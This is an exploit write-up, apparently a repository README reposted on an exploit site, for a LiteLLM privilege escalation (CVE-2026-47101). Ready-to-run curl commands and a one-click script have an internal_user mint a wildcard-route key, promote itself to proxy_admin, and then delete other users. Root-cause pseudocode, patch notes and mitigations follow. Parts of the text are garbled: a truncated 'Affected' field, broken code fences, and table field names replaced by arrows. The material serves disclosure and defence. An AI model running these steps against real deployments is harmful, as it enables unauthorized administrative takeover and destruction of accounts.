## https://sploitus.com/exploit?id=B89C55B6-BB97-51C5-8FE2-2043E73BE1A8
# CVE-2026-47101 β LiteLLM Privilege Escalation via `/key/generate` + `/user/update`
> **LiteLLM** v1.82.6 (v1.83.14 and earlier versions)βs `/key/generate` endpoint allows low-privilege `internal_user` to use an API key with wildcard routing `["/*"]`, followed by `/user/update`. This enables unauthorized privilege escalation by escalating the userβs role to `proxy_admin`. | Field | Value |
|-------|-------|
| **CVE** | **CVE-2026-47101** |
| **CVSS v3.1** | **8.8 (HIGH)** β `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-863 (Incorrect Authorization) |
| **Affected** | LiteLLM **&1** | tail -10
The expected output should include logs indicating successful startup, such as βUvicorn running on http://0.0.0.0:4000β. ### Step 1: Create an `internal_user` account
Use the master key to create a low-privilege `internal_user` account:
```bash
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
```
Expected output:
```json
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
```
Record the returned `user_id` and `key`, as these will be used in subsequent steps. ### Step 2: Generate an API key with wildcard routing
Call `/key/generate` as an `internal_user`, using an API key with wildcard routing `["/*"]":
```bash
# Replace sk-internal-user-key with the key obtained in step 1
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
```
Expected output:
```json
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
```
> **Vulnerability**: The `internal_user` successfully generated an API key with wildcard routing `["/*"]`. This key allows access to all management endpoints, including `/user/update` and `/user/list`. ### Step 3: Escalate privileges to `proxy Admin`
Use the wildcarded API key to call `/user/update`, escalating the userβs role to `proxy_admin`:
```bash
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
```
Expected output:
```json
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
```
> **Vulnerability**: The `user_role` has been changed from `internal_user` to `proxy_admin`. The `/user/update` endpoint allows users to modify their `user_role` field without any restrictions. ### Step 4: Verify admin access
Verify that the role escalation has taken effect by calling `/user/list`:
```bash
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
```
Expected output:
```json
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
```
The `/user/list` endpoint only allows access for the `proxy_admin` role. Successfully obtaining the user list confirms that the privilege escalation has worked. ### Step 5: Expansion β Delete admin users
Using the newly obtained `proxy_admin` privileges, you can delete any user using `/user/delete`:
```bash
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
```
Expected output:
```
1
```
---
### One-Click Replay
The above steps are compiled into a `demo.sh` script, which can be executed directly.
```bash
# Full reproduction (including steps 1-5)
bash demo.sh
# Test both the original and fixed versions simultaneously
bash demo.sh --fixed
```
---
## Verification of the Fixed Version
Run the fixed version (v1.83.14-stable) to verify that the vulnerabilities have been fixed:
```bash
# Run the fixed version
docker compose --profile fixed up -d litellm-fixed
# Wait for it to be ready
sleep 15
```
Create a `internal_user` account:
```bash
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key','')")
echo "Fixed user key: $FIXED_USER_KEY"
```
Try to generate a wildcard route key (expected to be blocked):
```bash
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
```
Expected output (the fixed version blocks unauthorized requests):
```json
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
```
Compare with the vulnerable version:
| Test Scenario | Vulnerable Version (v1.82.6) | Fixed Version (v1.83.14) |
|--------------|-------------------------|-------------------------|
| Requesting `internal_user` with `["/*"]` | β New wildcard key generated | β Blocked (HTTP 403) |
| Using the wildcard key to change `user_role` | β Successfully promoted to `proxy_admin` | β Blocked |
| Using the wildcard key to access `/user/list` | β User list successfully retrieved | β Blocked |
```
---
## Vulnerable Endpoints
### `POST /key/generate`
Generates a new API key. The `allowed_routes` parameter is used to limit the list of endpoints that the key can access. | Field | Type | Required | Description |
| `-->` | array | No | List of allowed routes, e.g., `["/*"]` indicates all routes |
### `POST /user/update`
Updates user properties, including the `user_role` field. | Field | Type | Required | Description |
| `-->` | string | Yes | ID of the user to be updated |
| `-->` | string | Yes | New role (e.g., `proxy_admin`) |
---
## Exploitation Technique
### Step 1: Generate a wildcard route key
As `internal_user`, call `/key/generate` with a key containing `["/*"]`:
```json
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}
```
The response includes a new API key, which has wildcard route access permissions. ### Step 2: Promote the role to `proxy_admin`
Use the wildcard key to call `/user/update`:
```json
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
```
### Step 3: Verify admin permissions
```json
GET /user/list
Authorization: Bearer sk-wildcard-key
```
---
## Root Cause Analysis
The root cause of the vulnerability lies in three missing authorization checks:
### 1. `/key/generate` β Missing role validation for `allowed_routes` parameter
The `/key/generate` endpoint accepts the `allowed_routes` parameter and directly associates it with the key. **No role validation is performed.** Even `internal_user` can request admin-level route permissions. ```python
# Vulnerable code β No role validation
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
# Only validates the API keyβs validity
# No check if `user_role` allows the requested `allowed_routes`
allowed_routes = params.get("allowed_routes", [])
```python
new_key = create_key(user=user, allowed_routes=allowed_routes)
return {"key": new_key}
```
### 2. Routing authorization reverts to checking `allowed_routes` wildcard matches
When the middleware checks routing permissions, if the role-based authorization check fails, it **reverts to checking the `allowed_routes` list of the API key**. Since `["/*"]` matches all routes, all management endpoints are allowed. ```python
# Vulnerable pseudocode β Revert to checking routing
async def authorize_request(request, api_key):
# Revert to checking `allowed_routes` if role check fails
if not user_role_authorized(request, api_key.user):
# Check `allowed_routes` β ["/*"] matches all routes
if not any(match_route(route, request.path) for route in api_key.allowed_routes):
return HTTP_403
return HTTP_200
```
### 3. `/user/update` β Allows users to modify their `user_role`
The `/user/update` endpoint allows users to update their user attributes. **Users are allowed to modify their own `user_role` field**, without any restrictions. Only the `proxy_admin` role should have the authority to modify user roles. ```python
# Vulnerable pseudocode β No restrictions on modifying `user_role`
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
user_id = params.get("user_id")
updates = {}
if "user_role" in params:
updates["user_role"] = params["user_role"] # No permission checks! Update user in the database
return {"user_id": user_id, "data": updates}
```
---
## Patch Analysis (v1.83.14)
The patch adds authorization checks in the following areas:
1. `/key/generate` β Adds validation for the `allowed_routes` parameter: Regular users cannot request administrator-level routing permissions.
2. **Routing authorization** β Fixed the revert logic to ensure that role-based checks have higher priority than `allowed_routes`.
3. `/user/update` β Restricted the permission to modify the `user_role` field: Only `proxy_admin` can modify user roles.
---
## Repository Structure
```
CVE-2026-47101/
βββ README.md # This file
βββ CVE-2026-47101_ReproductionReport.docx # Reproduction report (Chinese)
βββ docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
βββ config.yaml # LiteLLM config with database connection
βββ requirements.txt # Python dependencies
βββ demo.sh # One-click reproduction script
βββ exploit/
β βββ exploit.py # Python exploit script
β βββ payload.py # Payload builders
βββ docs/
βββ screenshots/
```
---
## Mitigation
1. **Upgrade** to LiteLLM **v1.83.14+** (authorized authorization checks fixed).
2. **Restrict** API key privileges β enforce least privilege for `allowed_routes`.
3. **Audit** existing users and keys for signs of privilege escalation.
4. **Monitor** `/user/update` calls involving changes to `user_role` for abnormal activities.
---
## References
- [NVD Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-47101)
- [GitHub Security Advisory](https://github.com/BerriAI/litellm/security/advisories)
- [Obsidian Security Advisory](https://www.obsidiansecurity.com/blog)
---
> **Disclaimer:** This content is provided for **educational purposes and authorized security testing only.**
[source-iocs-preserved url=http://0.0.0.0:4000`]